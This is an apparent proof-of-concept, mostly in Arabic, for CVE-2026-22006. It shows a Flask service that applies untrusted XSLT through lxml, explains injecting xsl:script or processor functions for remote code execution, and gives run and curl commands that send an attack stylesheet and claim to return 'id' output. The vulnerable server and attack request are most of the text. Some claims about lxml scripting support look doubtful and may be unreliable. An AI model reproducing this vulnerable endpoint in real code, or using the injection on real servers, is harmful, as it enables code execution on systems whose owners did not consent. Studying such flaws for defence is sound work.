
إثبات المفهوم لثغرة CVE-2026-22006، يوضح حقن XSLT من جهة الخادم عبر xsl:script في نقطة نهاية Flask المبنية على lxml لتحقيق تنفيذ تعليمات برمجية عن بُعد.
xsl:script# xslt_server.py - Applies user-supplied XSLT to XML
from lxml import etree
from flask import Flask, request
app = Flask(__name__)
@app.route('/transform', methods=['POST'])
def transform():
xml = request.form['xml']
xslt = request.form['xslt']
xml_doc = etree.fromstring(xml.encode())
xslt_doc = etree.fromstring(xslt.encode())
transform = etree.XSLT(xslt_doc)
result = transform(xml_doc)
return str(result)
if __name__ == '__main__':
app.run(port=5000)
xsl:scriptتقبل خدمة تحويل XML أوراق أنماط XSLT غير موثوقة وتطبقها دون تعطيل امتدادات البرمجة النصية. يمكن للمهاجم تضمين xsl:script أو دوال خاصة بالمعالج (مثل php:function في PHP) لتنفيذ تعليمات برمجية عشوائية على الخادم.
pip install flask lxml
python xslt_server.py
curl -X POST -d "xml=<root/>" --data-urlencode "[email protected]" http://localhost:5000/transform
يعيد الخادم مخرجات id.